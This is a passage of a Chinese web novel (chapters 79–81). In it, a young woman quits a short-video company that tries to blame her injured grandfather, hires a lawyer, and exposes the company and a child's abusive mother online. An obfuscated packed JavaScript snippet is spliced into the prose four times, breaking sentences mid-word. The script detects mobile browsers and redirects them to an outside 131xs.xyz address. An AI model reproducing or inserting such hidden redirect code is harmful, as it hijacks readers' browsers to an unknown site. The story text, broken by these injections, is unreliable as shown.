他认真地说:“常乐,很多人接受不了给别人把屎把尿,觉得这个活儿很脏。但是,一旦你做了这些事,过了心里这一关,你就会发现,这世上再没有什么事能难倒你了。” 常乐抿了抿干裂的嘴唇,没有说话。 她倒不是嫌脏,只是想到,每个老人在生命的最后一段时光里,都是这种狼狈的状态——行动不便,控制不住屎尿,记忆力衰退,甚至失去意识。他们都需要有人贴身照顾。 姥爷是家里第一个进入这种状态的,随后,也许是姥姥。再过几十年,就是爸爸妈妈。 到那时,她该怎么办呢? -- 常乐回宿舍补了一觉后,下午去了公司。她请了一周的假,今天刚好到期。她负责的几个项目被分给了组内其他人,小叶也分担了一部分。 小叶大概是熬了几个通宵,脸上已经没有血色了。见到常乐,她眼里总算有了点神采,问道:“哎,你姥爷恢复得怎么样了?” 常乐一边打开电脑,一边说:“还好,手脚都能动,说话也很清楚,就是腰扭了脚崴了,需要卧床静养。” “那就好。”小叶伸了个懒腰,“你不知道,这一周有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087903|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多忙,每天都在赶进度。有个视频明天就要开拍了,脚本我还没开始写呢。” 常乐有些愧疚,“你把资料发给我,我来写吧。” “真的吗?”小叶惊喜道,“太好了!就是上次那个大胃王——” 话未说完,就被一道清甜的声音打断:“常乐,你回来了?” 常乐转过头,看见萱萱站在身后,脸上笑意盈盈。 萱萱说:“关于林老师的医疗费报销的问题,公司需要跟你走个流程。你来一下。” 常乐站起身,顺手拿起放在桌上的手机,萱萱却说:“就一会儿,不用带手机。” 常乐放下手机,心头浮起一丝疑虑。 她跟在萱萱身后,走进了二楼的办公室。 萱萱从抽屉里拿出一份文件,递到她面前,说:“公司愿意承担林老师的医疗费、营养费,还有为期一年的康复费用。只要你在这份合同上签个字。” “为什么?”常乐蹙起眉,“之前刘总承诺会承担医疗费,可没说要额外签一份合同。” “你不用这么紧张,公司也只是以防万一,怕这件事传出去会损害公司的声誉。” 常乐眉头皱得更紧了。 她低头浏览着合同的细则,甲方是公司,乙方是姥爷,前面几条是保密条款,她尚且能理解。 后面有一条写着:“当天的拍摄任务已经完成,是乙方执意要留在片场,并提议再拍一条,所以才造成此次事故……” 常乐顿时怒火中烧,猛地一拍桌子,吼道:“你们想颠倒黑白,把所有责任都推到姥爷身上?我当时就在片场,听得清清楚楚,是编导喊他再拍一条的,现场所有人都可以作证!” 萱萱淡定地看着她,笑容愈发甜腻。 “现场所有人,可都是公司的人。你觉得他们会帮谁说话?” 常乐顿时愣住了。 萱萱继续说:“我都说了,公司不是不愿意出钱,是为了避免不必要的纠纷。只要你在合同上签个字,我们马上把钱打到你的卡上,一次性补偿三万,后续的康复费用,我们按月支付。怎么样?” 常乐终于反应过来,冷笑一声,“姥爷是在拍摄期间受的伤,属于工伤。所以,不管我签不签这个字,你们都得掏钱!” 萱萱歪着头看着她,眼神渐渐冷了下来。 “常乐,你也是公司的一员,为什么要跟公司站在对立面呢?我记得,你还有一个月的实习期吧?这样吧,只要你签字,今天就能转正。从这个月起,就给你按正式员工的标准发工资,怎么样?” 常乐毫不客气地翻了个白眼,“你还真把自己当香饽饽了?一份工作而已,有什么可稀罕的?” 萱萱语带讥讽:“听你这口气,已经找好下家了?” 常乐硬邦邦地说:“不关你的事。” “你大概不知道吧,公司后台能看到你们每个人用电脑干了些什么,比如……”萱萱停顿一下,玩味地挑了挑眉,“什么时间打开了求职网站,投递了几份简历,跟对方HR聊了些什么。” 萱萱上身向前倾,紧紧盯着常乐,语气中多了一丝威胁意味:“这种行为一经发现,是要被严惩的,轻则罚款,重则开除。只是,我看你一个小姑娘在杭城打拼不容易,人往高处走嘛,我也能理解,所以没有上报。” 她眼神骤冷,猩红的指甲敲了敲桌上的合同,仿佛敲在常乐的脑门上。 “只要你签字,我可以装作什么都不知道。” 常乐发出一声嗤笑。 “轻则罚款,重则开除?”她重复着萱萱的话,只觉得可笑,“我还以为轻则杀头,重则诛九族呢。不就是开除吗?你想开就开呗。” 她顿了下,露出恍然大悟的表情,“哦,我差点忘了,实习期开除不用支付经济补偿,那跟我主动辞职有什么差别?” 常乐站起身,将合同撕成两半,狠狠甩到萱萱脸上。 “我不干了!” 79. 79 “啊?辞职了?” 正在用遥控器换台的姥爷听到常乐的话,震惊地望着她,手定在空中,迟迟没有放下来。 “嗯。”常乐依旧盯着搁在膝盖上的电脑,手指不停敲打着键盘,轻描淡写地说,“辞就辞了呗,有什么好大惊小怪的。” 姥爷吃力地坐起身,略显担忧地问:“该不会是为了我的事吧?” 常乐轻笑一声,抬眼望着他,安慰道:“不是,你别想太多了。再说了,又不是什么好工作,每天昼夜颠倒,身体都搞垮了,还赚不了几个钱,我早就想辞了。” 易诚提着几份盒饭回来,听到两人的对话,一脸疑惑地问常乐:“既然都辞职了,那你还在忙什么呢?这就开始投简历了?” “没有。”常乐的视线又回到电脑上,“还有个项目没写完。” 易诚叹为观止:“你真是……” 他一时找不到形容词,只得啧啧两声,调侃道:“牛马腌入味了。” “……”常乐手指一顿,满脸无语地望着他。 “我在帮小叶写脚本。这几天她帮我分担了很多工作,我就这么走了,感觉挺对不起她的。” 常乐垂下眼帘,继续敲打着键盘,“公司虽然垃圾,同事还是挺不错的。” 易诚将盒饭放在床头柜上,拿起一份递给她。 “别太辛苦了,你昨晚本来就没休息好。” 大概是想起了昨晚的尴尬画面,姥爷转头看向墙壁,脸色讪讪的。 见他这模样,常乐忍不住调侃道:“姥爷,别不好意思嘛。等以后你躺在床上动不了了,我还是得给你把屎把尿。提前适应了也好,还能省一笔护工费呢。” “哎哟,你这死孩子……”姥爷脸涨得更红了。 正说着,林文娟提着一箱矿泉水和一提卫生纸走进了病房。 “林姨。”易诚见到她,赶紧上前接过矿泉水,主动问道:“还没吃饭吧?” “没呢。你已经买好了?”林文娟注意到床头的一摞盒饭。 常乐也端着电脑起身,给她让座。 林文娟看到她,有些惊奇:“咦,你今天不是要去上班吗?” 常乐叹了口气,将电脑放到一旁,“先吃饭吧,边吃边聊。” 几个人围坐在病床前,刚要开吃,护士就推着分药的小推车进来了。见到他们,她不耐烦地嚷嚷道:“说过多少次了,不要一下子来这么多人,留一个人照顾就行了嘛。” 易诚连忙点头,说:“我们吃完就走。” 吃完饭,易诚急匆匆赶去上班了。林文娟静静地听常乐讲述在公司的遭遇,一会儿皱眉一会儿咧嘴,听到最后一段,她忍不住拍巴掌大笑:“哈哈哈,骂得好!这种破公司,还待着干嘛?你早就该走了!” 看到林文娟的反应,常乐的心情轻松了许多,一直堵在胸口的那团郁气,也纾解了几分。 她开玩笑道:“妈,怎么我每次丢工作,你都幸灾乐祸的?是不是就盼着我成为无业游民,好回家伺候你们呢?” 林文娟渐渐敛笑,一本正经地说:“因为,不是所有工作都值得做的,你的时间应该花费在更有价值的事情上。” 姥爷也附和道:“对,杭城的大公司这么多,这个不行咱就换呗,总能找到合适的。” 常乐想起前几次失败的面试,又想到自己还有劳动仲裁的“前科”,不禁心下一沉,闷闷地说:“道理我都懂,可是,好工作不是那么好找的。” 林文娟摇摇头,“不止工作,你的人生还有更多值得去做的事,比如吃好喝好,早睡早起,锻炼身体,陪伴家人。” 常乐不禁失笑:“这些小事,谁都能做到啊。” 林文娟反问:“你做到了吗?” 常乐一时语塞,讷讷地解释:“我这不是……工作太忙了嘛。” “现在好了。”林文娟一拍巴掌,兴奋地说,“既然工作都没了,那你总该回归正常生活了吧?我算是想明白了,工作没那么重要,把自己活高兴了、活舒坦了,才最要紧。” 常乐闷不吭声,陷入了沉思。 她想不通,从什么时候起,工作跟正常生活变得不能共存呢? 究竟是她对工作的期待太高,还是这个职场环境本来就不正常? -- 常建民只请了一周的假,姥姥年纪大了,熬不了夜,所以两人提前买票回家了,留下林文娟和常乐在这里轮流照顾姥爷。 常乐从宿舍搬出来那天,小叶还在加班。她有点遗憾,没能见到上班搭子最后一面,于是给她发了条微信:【我搬走了,咱们有缘再见。】 小叶回复得很快:【你还在宿舍吗?等会儿,我马上来。】 没过多久,小叶就推门进来了。一见到常乐,就张开双臂,抱住了她。 “恭喜你啊,脱离苦海了。”小叶拍了拍她的后背,由衷地说。 常乐发出一声闷笑。 小叶说:“谢谢你啊,都离职了,还肯帮我写脚本。要不是你,我那天都交不了差。” “这是应该的。”常乐笑笑,“你也帮了我不少。” 小叶低下头,沉默片刻,说:“那个……你姥爷拍的短剧,最后一集已经上线了,播放量还不错,讨论度也挺高的,看评论,好多网友都挺喜欢你姥爷的,舍不得他下线。” 若是以前,常乐听到这种消息,肯定会第一时间通知姥爷,让他高兴高兴。 但现在,她的内心毫无波澜,只觉得这群人成天为这点破事忙忙碌碌,挺可笑的。 她勉强笑了下,淡淡地说:“恭喜你啊,这个月的奖金应该不少。” 小叶脸上浮起苦笑,“恭喜啥啊,奖金都算在编导头上了,我只能拿个零头。”顿了顿,她继续说,“我打算等这个项目结束就辞职。” 常乐惊讶地抬起眼。 “太累了,简直不是人过的日子。”小叶长吁一口气,肩膀塌了下来,“我都好久没体检了,但我知道,自己的身体已经出了毛病。公司不把我当人,久而久之,我也没把自己当人,真是挺可悲的。” 常乐看着小叶,眼底满是同情和唏嘘。 她想起林文娟的话,此刻很适合用来安慰小叶:“辞就辞吧,工作没那么重要,把自己活高兴了、活舒坦了,才最要紧。” 小叶笑了笑,“还是你想得通透。” 常乐张了张嘴,还想再给她灌点林氏鸡汤,就被小叶打断了:“对了,有个小礼物送给你。” 她从口袋里掏出一个黑色小方盒,“公司后台会监测我们的电脑,所以我不能直接发给你。这个移动硬盘里有姥爷出事那天的原始视频,我想你也许用得上。” -- 常乐把钥匙留在桌上,扛着行李搬进了之前订的酒店标间。 今晚轮到林文娟陪护,房间里只有常乐一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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常乐重新燃起斗志,坐在桌前,打开电脑,点开下一个视频,认真研究了起来。 -- 又过了一个星期,姥爷终于出院了。 在这期间,公司没有一个人来探望,也没有打来电话问候,仿佛这件事与他们无关。 账单结算完,医保报了六成,自费的部分是三万多。常乐将账单发给萱萱,却只得到一个红色感叹号——对方早就将她删除了。 常乐气得骂了句脏话,给她打电话,给刘总打电话,给余组长打电话,都没人接。 唯一能联系上的是小叶,但常乐又不想给她添麻烦。毕竟,她也只是个苦命的打工人。 林文娟推着轮椅走在前面,一回头,看到常乐还在原地,盯着手机,拧眉瞪目,咬牙切齿,一副要跟人干仗的架势。 林文娟停好轮椅,走到常乐身边,小声问:“怎么啦?” “没事。”常乐将手机塞回兜里,重重地呼出一口气,“又有新任务了。” 林文娟不禁失笑:“你连工作都没有,能有什么新任务?” 常乐郑重其事地说:“妈,这你就不懂了。人生就像玩游戏,打怪升级才是乐趣所在。上一关,咱们组队救活了姥爷,下一关,我要单枪匹马,去打大Boss。” 80. 80 把姥爷送到酒店安顿好后,常乐带上合同和视频证据,雄赳赳气昂昂地冲到丽文公寓,双手掐腰,杵在公司大门外。 她进不去。 门禁卡早就上交了,刷脸也行不通。 呼喊前台小妹,小妹只瞥了她一眼,就转开脸,继续对着电脑敲敲打打,假装不认识她。 无奈,常乐只好联系了小叶。 过了会儿,小叶偷偷摸摸地溜了出来,一言不发,把常乐拉到了安全通道。 “他们都出去了。”小叶猜到常乐的来意,不等她开口,就主动通报敌情,“刘总,杨总,还有萱萱,听说是去西北拍外景,早上走的。” 时间掐得刚刚好,不会是为了躲她吧? 常乐简直被气笑了:“就为了几万块钱的医疗费,至于嘛?” 她忽然想到什么,问小叶:“对了,你是不是早就知道他们会赖账,所以才把原始视频给我?” 小叶凑到她耳边,声音压得更低了:“那天你走后,我听到萱萱在打电话,声音很大,听上去挺生气的。她说你不签合同,公司就不能出这个钱,毕竟脑梗这种病,需要长期的康复治疗,而且复发的可能性很大,万一姥爷赖上他们……” “所以就要把所有的责任都推到姥爷头上?凭什么?”常乐脸都气歪了,骂骂咧咧道,“明明是他们的错,已经拍了十几个小时了,编导还是不满意,让姥爷再来一条,视频里我听得清清楚楚。” 小叶拍拍她的肩膀,意味深长地说:“所以啊,证据都给你了,就看你怎么用了。” 常乐一边想着讨钱的事,一边替小叶担忧:“他们不会查到你头上吧?” “没事儿,我用自己的电脑拷贝的,他们发现不了。”小叶语气轻松,“再说了,我都要走了,等这个月的工资一到账,我就递交离职申请。” 常乐松了口气:“那就好。” 小叶拉着她往外走,抱怨道:“这破地方,我是一天都待不下去了。” -- 晚上,常乐紧紧盯着手机,蹲守在杨三金的直播间,等着他上线。 她早已写好了维权的文案:【杭城明鑫文化传媒,黑心血汗公司,虐待八旬老人,还拖欠医药费!家属求告无门,只能来直播间伸冤!】 林文娟正在收拾衣服,见她一整晚都在打字,还一脸义愤填膺的表情,忍不住问:“你在跟谁聊天呢?” “坏人。”常乐硬邦邦地说。 林文娟隐约猜到了她为什么生气,劝告道:“有话好好说,实在不行咱就报警。” “报警没用,得起诉。” 下午,常乐已经去附近派出所报过案了,由于对方公司的管理层都在外地,一时半会儿回不来,民警建议她,既然证据充足,不如直接起诉。 “对嘛。”林文娟低下头,继续叠衣服,“现在是法治社会,只要你的诉求有理有据,法律会还你公正的。” 常乐问:“你打算什么时候带姥爷回去?” “就这几天吧。一直住酒店也挺费钱的。你姥爷现在情况稳定了,回家请个护工,做一段时间的康复治疗,看看效果怎么样。” 常乐有些苦恼:“如果要打官司,战线就会拖得很长,还不知道要在杭城待多久呢,烦啊。” 林文娟瞥她一眼,“你不打算在杭城找工作了?” 常乐沉默良久,闷闷地说:“我想跟你们一起回家。” “怎么?”林文娟挑挑眉,“大城市不好吗?” “好,但是……”常乐一时语塞,不知该怎么表达。 大城市当然好,可是,为了留在这里,她要付出的东西太多了,时间、健康、自由,还有家人的陪伴。 一对比,她才惊觉,这段时间的辛苦和坚持,根本不值得。 “转了一圈才发现,还是家里最好。”常乐发自内心地感叹道。 林文娟笑了,“无论你怎么选,家人都会为你兜底。” 常乐眼眶一热,连忙低下头,假装看手机。 这一看才发现,杨三金早已上线了,直播间里正聊得如火如荼。 这时,林文娟又问:“那你有没有想过易诚——” 常乐打断她:“先不说了,我要开始战斗了。” 她挺胸直背,屏气凝神,将文案复制到评论框中,点击发送。 一连发了五条,在发第六条时,她的号被禁言了。 手机里,杨三金脸色微变,笑容略显僵硬,应该是看到了她的评论,但他迅速调整好表情,不动声色地切入下一话题:“宝宝们,这次的大西北环线之旅呢,我们打算……” 常乐切换小号,重新进入他的直播间,继续刷屏。 不出几秒,又被禁言。 “妈!”常乐冲林文娟喊一嗓子,“把你手机借我用一下。” “干嘛?”林文娟觉得奇怪,还是递上了手机,“别乱买东西嗷。” “放心啦。”常乐接过手机,马上用林文娟的抖音进入杨三金的直播间,重复刷屏: 【黑心血汗公司,残害八旬老人!】 【骗子公司!骗子老板!还我医药费!还我血汗钱!】 【刘子明、杨鑫然、萱萱,一群缩头乌龟!】 常乐情绪亢奋,手指飞快地打字,没过多久,又收到了禁言的通知。 常乐长吐一口气,仰面倒在床上,忽然觉得自己像唐吉坷德,挥舞着细长的银剑,试图挑战庞大的风车。 看上去毫无意义。 但是,至少她心里舒坦了。想必唐吉坷德在经历一番战斗后,也觉得身心舒畅,不虚此行。 常乐坐起身,重新拿起手机,搜索“小美萱”的账号,发现萱萱也在直播。 这就好办了,无非是复制粘贴,一遍又一遍,大号封了切小号,小号禁了换林文娟的号…… 如此战斗了一晚上,林文娟早就去隔壁房间照顾姥爷了,常乐还在不停地切换账号,轮番在姥爷拍的短剧、小孕妇的系列视频、甚至大胃王杨哥的视频底下发表评论。 她也收到了一波私信,有人骂她是黑子,有人向她打听前因后果,还有人给她出谋划策…… 她一直忙到深夜,才放下手机。 第二天睁开眼的第一件事,也是拿起手机,打开抖音。 一条系统通知弹了出来:【你好,因你的账号行为涉嫌侵权,系统已对该账号进行了“禁止发言30天”的处罚……】 常乐揉了揉眼睛,慢悠悠地坐起身,靠着床头闭眼眯了会儿,终于想明白—— 她的账号被人举报了。 再切换小号,果不其然,也收到了同样的通知。 常乐从床上爬起,伸了个懒腰,又活动了一下脖子和手腕。 她倒不恼,只觉得好笑,这不是逼她拿起法律武器嘛? 邪路走不通,只能走正道了。 吃过早饭,常乐给珍姐打了个电话。她简单地讲述了事情的起因和经过,最后问珍姐:“你三姨的老同学的侄子不是律师嘛,之前还给我们做过法律咨询,你能不能问一下他,看他接不接杭城的案子?” 珍姐又气又笑:“行吧,我问问他。不过,律师异地出差,收费很贵的,我建议你还是在当地找个律师。” “嗯,我做两手准备。” 顿了顿,珍姐又说:“你说你的账号被禁言了,要不我把我的账号借你用吧?我现在已经攒了三万多粉丝了,影响力肯定比这你这个素人要强。” 常乐连忙制止道:“别啊,万一你的账号也被禁了,那就麻烦了。” “嗐,你自己注意点嘛,不要点名道姓,不要有过激言论,就陈述事实。这样,就算被人恶意举报了,也是能申诉的。” “可是,你好不容易才涨点粉……” 电话那头传来珍姐爽朗的笑声:“哈哈哈哈,一个账号而已,没就没了呗。我以前就是太在意流量了,总是患得患失,涨点粉就开始幻想,掉点粉就反复内耗,一个视频爆了,就总想着下一个能更火……” 珍姐叹了口气,继续说:“渐渐地,我发现自己都走火入魔了,看到什么就会想,这个发到网上会不会火,甚至会故意说些引起争议的话,做一些哗众取宠的事,毕竟黑红也是红嘛……我其实挺讨厌这样的自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16165952|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己。仔细想想,流量就是一串虚幻的数据,粉丝也会随时抛弃你,只有真实的生活,才是自己的。” 一番话听得常乐百感交集,思绪万千。 她由衷地赞叹道:“说得真好。珍姐,你简直是我的人生导师。” 珍姐收起笑意,认真地说:“没人能指导你的人生。你的路,得靠自己走出来。” “嗯!”常乐用力地点头。 “对了,还有件事。”犹豫片刻,常乐开口道:“咱们之前申请过劳动仲裁,会影响到之后找工作,这事你知道吗?” 珍姐语气淡然:“我知道。有次我投了家大公司,已经过了二面了,结果在背调环节被pass了,HR直接告诉我,公司不喜欢有仲裁经历的求职者。” 常乐后知后觉:“难怪当时只有我们几个申请了仲裁,我还以为其他人都没时间呢,原来他们早就知道会这样。” “不能怪他们,这是权衡利弊后做出的选择。” “珍姐,你会后悔吗?” “你呢?你后悔吗?为了那一万块钱的工资,把以后求职的路都堵死了。” 常乐想了想,认真地说:“不会。我是在维护自己的合法权益,我做的是正确的事。错的是拖欠工资的老赖,是那些有偏见的公司,是这个不正常的职场环境,而不是我。我不能用别人的错误,来苛责自己。” 珍姐朗声大笑起来:“我也想明白了,如果再发生这种事,我还是会做出同样的选择,即使已经知道了会有什么样的后果。因为——”她顿了下,咬牙切齿道:“我就是咽不下这口气!” 常乐攥紧拳头,咬紧牙根。 “对!不蒸馒头争口气!” 就算斗到最后,两败俱伤,也好过忍气吞声,任人宰割。 当天晚上,珍姐又给常乐打来电话,说自己三姨的老同学的侄子不方便出差,但他向她们推荐了一位在杭城当律师的大学同学,据说他很擅长打劳动纠纷和工伤赔偿这类的的案子。 第二天,易诚请了半天假,陪常乐去律所拜访了这位律师。 常乐详细地讲述了事情的来龙去脉,还将整理好的各种纸质材料和视频证据,向律师一一展示和介绍。律师听完,让他们放心,依据现有的证据,他们的胜率很大。 常乐备受鼓舞,跟易诚交换了一个欣喜的眼神。 接下来,就该谈钱了。律师费按照标的额的6%来收,算下来将近六千。 常乐表情沉重,一咬牙一狠心,答应下来:“行吧。那就拜托你了!” 两人起身正要离开,常乐忽然又想到什么,转身问律师:“对了,我还想问一下,如果,我是说如果啊,我把这些视频发到网上,会不会构成侵权呢?” 律师沉吟片刻,有条不紊地说:“首先,你得保证视频的内容是真实的,没有恶意剪辑或者P图;其次,视频中不能公开任何私人信息,哪怕是真的,未经允许就是侵权;再次,不能有侮辱性词汇,或者添油加醋,夸大事实,否则,轻则侵犯对方名誉权,重则构成诽谤罪。” 常乐听完,郑重地点点头,“我懂了,谢谢您!” 从律所出来后,易诚面露忧色,问她:“所以,你还是想发视频曝光他们?” “对。”常乐已经下定了决心,“就算咱们打赢了官司,也不过是拿到了本该属于我们的钱。这点钱对他们来说根本不算什么,完全起不到惩罚的效果。” 她抬起头,阳光穿透葱葱郁郁的香樟树,落在她脸上。 她轻嗤一声,“我才不想这么轻易放过他们呢。” 易诚淡淡一笑,说:“那你要准备好,迎接网络的血雨腥风了。” 当天晚上,一个名为“爱生活的珍珍”、只有三万粉丝的账号,先是隐藏了之前所有的视频,然后接连发布了两条视频,一条是林老头从楼梯上摔下来的全过程,包括那句“拍下来了吗”的背景音;另一条是几段视频的拼接,记录了在不同场合下,小西瓜的妈妈是如何辱骂和殴打她的。 视频只做了一段简短的说明,并在底下艾特了一圈人,全是明鑫文化传媒旗下大大小小的网红们。 81. 81 两条视频的传播速度远超常乐的预期,不到两小时,就累计有一万多的浏览量。 常乐觉得奇怪,虽然珍姐有三万多的粉丝,但她平时的视频热度都不高,最火的那条是她记录自己面试处处碰壁的视频,播放量也才勉强过万。 常乐点进后台,才发现有人给她投了抖加。 她认得这个账号,以前总是蹲守在姥爷的直播间,时不时给他打赏送花,像个狂热的追星粉。 常乐会心一笑,给易诚发微信:【易老板,让你破费了。】 没过多久,就收到了易诚的回复:【效果怎么样?】 常乐:【播放量挺高的,不过评论区都是一些奇奇怪怪的账号,感觉不像真人。】 易诚:【先把数据刷上去再说。】 他打开抖音,又给每条视频买了三百块的抖加。 直到睡觉前,这两条视频的播放量还在蹭蹭往上涨,评论区也从一片鲜花掌声和笑脸的表情包,慢慢地有了正常人的回复: 【???】 【这谁呀?这女的在干嘛?她是后妈吧?】 【我睡前打开抖音,是想看肌肉男模的,手机爹给我干哪儿来了?】 【这是小西瓜?我还关注过她,她妈平时在视频里不这样啊。】 【老人没事儿吧?】 【珍珍你是不是把账号给卖了?】 …… 常乐啧啧感叹,关键时刻,还是钞能力管用啊。 她趴在床上,耐心地回复每条评论,一直忙到深夜,才关掉手机,心满意足地睡了。 一觉醒来,第一件事就是摸手机。打开抖音一看,两条视频都被下架了。 “啧。”常乐躺在床上,烦躁地蹬着腿,“一群孬种,除了举报还会干什么?” 珍姐曾告诉过她,视频被下架不要慌,先申诉,反复申诉,实在不行就打客服电话,态度要蛮横,气焰要嚣张,大不了就吵一架,一架不行就电话轰炸,不达目的不罢休。 于是,一整个上午,常乐就在不停地申诉、等结果、再申诉、打电话、吵架、再打电话…… 她的声音越来越大,情绪越来越激动:“被举报?呵,一堆阴暗爬行的蛆,只会在背后搞小动作,有本事站出来当面对质啊!你们还有脑子吗?一收到举报就下架,一点分辨是非的能力都没有?我的视频到底违反了哪条规定,侵犯了谁的权益?我朋友还投了几百块的抖加呢,你们光收钱不办事是吧?把我惹急了,我告你们诈骗!……” 对面的客服实在扛不住了,叫来了主管,主管被她劈头盖脸一顿骂,最后只得连连道歉,保证立刻将她的视频恢复上架。 挂断电话,常乐大口喘着粗气,拿起水瓶咕噜噜给自己灌水。 林文娟一进屋,就被她的气势给震住了。她小心翼翼地戳了戳常乐的肩膀,生怕把她戳漏气了。 “跟谁吵架呢?” “抖音!”常乐气鼓鼓地说,把空水瓶抛进垃圾桶。 “……你可真行,敢跟大公司叫板。”林文娟调侃道,“正好,有个手机软件老是给我乱扣费,你也帮我骂骂他们呗。” 常乐向她伸出手,“手机给我。” 林文娟愣住了,“……我就随口一说。” “给我。”常乐气势汹汹道,“趁我现在还在气头上,赶紧的。” 林文娟急忙递上手机。 于是,常乐又花了一个多小时,打了十几通电话,终于帮林文娟讨回了莫名被扣的三十六块钱。 -- 很快,视频重新上架。也许是官方为了弥补常乐的损失,偷偷给她送了一堆流量,两条视频的播放量节节攀升,评论数和转发量也在稳步增长。 小西瓜被打的那条视频明显传播得更广,评论区也出现了越来越多的知情人士: 【小西瓜的妈妈经常这样打她,我在现场都见过好几次了,没人敢管。】 【而且她很重男轻女,她就从来没打过小冬瓜,自己拍的视频里也是以小冬瓜为主。】 【明明是小西瓜先火的,她非要把儿子也塞进这条赛道,可惜她儿子颜值不行,每次接广告的还是小西瓜。】 【这一家人全靠小西瓜一个人养活,怎么还敢这么对她?】 …… 常乐紧蹙眉头,陷入了纠结。 其实,小西瓜被打骂的视频,有几段是她之前偷拍的,但是最直接、最激烈、最令人愤怒的那一段,是从小叶给她的视频里找到的。 她原本只是想找到姥爷被迫加班的证据,没想到在镜头一角,看到了这样一幕—— 小西瓜的妈妈一脸凶神恶煞,手拿衣架,不停抽打着小西瓜的大腿,还用手指狠掐她的手臂,嘴里骂骂咧咧。 放大声音,能隐约听到“你个蠢货!废物!回家看我怎么收拾你!”之类的威胁话语。 常乐顿时怒火中烧。 她决定把这段视频也发到网上,一方面是想曝光小西瓜的妈妈的这种行为,让她受到应有的惩罚,另一方面,也能间接打击原公司。 但现在,看到这片群情激奋的评论区,常乐又有些犹豫。 她担心,这样的舆论压力,对一个小女孩是不是不太好?万一她妈妈恼羞成怒,把怨气全撒在小西瓜头上怎么办? 正纠结着,手机响了,是萱萱打来的电话。 常乐冷笑一声,接通电话:“哟,终于把我从黑名单里放出来了?” 电话那头,萱萱的声音依旧清甜:“常乐呀,我们想请你吃个饭,今晚有时间吗?” 常乐故作惊讶:“你们不是在大西北吗?怎么,西北的风沙太大,把你们刮回来了?” 萱萱咯咯笑道:“嗐,这不是公司有急事嘛。对了,你想吃什么?杭帮菜还是大闸蟹?” 常乐噎了一下,硬邦邦地说:“别白费工夫了,我知道你们想干嘛。视频我是不会删的,医药费你们也得照付。” “之前公司事儿太多,我给忙忘了,这次请你吃饭,就是想当面跟你道个歉,再把钱转给你。”萱萱故作关切道,“对了,老爷子的身体还好吧?恢复得怎么样?” 常乐无视她的问题,冷冰冰地说:“直接转我微信就行,吃饭就免了。” “那咱们总得当面算算总账吧?不然我怎么知道要转多少?” 常乐思忖良久,作出决定—— “行,时间地点发给我。” 明知是场鸿门宴,但常乐还是想去探探险。毕竟现在是法治社会,人家也不敢拿她怎么样,无非是双方撕破脸皮,大吵一架。 她还怕吵架吗?她早就攒了一肚子的火,正愁没地方发泄呢。 不过,一想到要舌战群儒,她还是有点怯场,想找个人壮壮胆。 找易诚吧,他得上班,老是请假不好。找常悦吧,更不好,她以后还得在这个圈子里混呢。 思来想去,常乐决定启用林文娟这项杀伤性武器。 她走进隔壁房间,姥爷正在床上睡午觉。她将林文娟拉到洗手间,小声说:“妈,晚上有个饭局,你陪我去一下。” “行。”林文娟一口答应下来,“你姥爷也得一起去,不然没人照顾他。” 常乐面露难色,“不好吧?万一他气得脑梗复发……” “不是去吃饭吗?你要去干架啊?” “……”常乐犹豫片刻,决定说实话,“差不多。公司HR请我吃饭,估计是要跟我谈判,到时候气氛肯定很紧张。要不,咱请个钟点工来照顾姥爷?” 林文娟思索片刻,果断地说:“他是受害者,必须出场。我倒要看看,他们到底有多不要脸。” -- 天色渐暗,不知何时下起了蒙蒙细雨。三个人整装待发,在酒店门口打了辆车。 鸿门宴的地点安排在一座古色古香的苏式庭院。院内有小桥流水,翠竹叠嶂,格外幽静别致。 服务员引他们穿过一条蜿蜒的回廊,来到一扇木门外。 推开门,正中间的圆桌旁已经坐了不少人,常乐扫视一圈,除了公司几位管理层,小西瓜和她的妈妈也来了。 萱萱迎了上来,满脸堆笑地说:“哎呀,总算把你们盼来了。” 她俯下身,双手扶着轮椅,对姥爷说:“老爷子,在医院养了半个月,恢复得还不错吧?有什么需要尽管跟我们提,我们一定满足您。” 姥爷尴尬地笑了笑,“也没什么别的需要,就是……能不能把医药费给我报了?” 萱萱直起身,脸上笑容不减,“那是当然了。咱们今天请客吃饭,就是来解决这个问题的。” 常乐推着轮椅正要往里走,忽然感觉衣袖被人扯了扯。 低头一看,小西瓜不知何时来到了她身边,仰着小脸望着她,声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16173120|171701||http|test|mini|href|location''.split(''|''),0,{})); () { 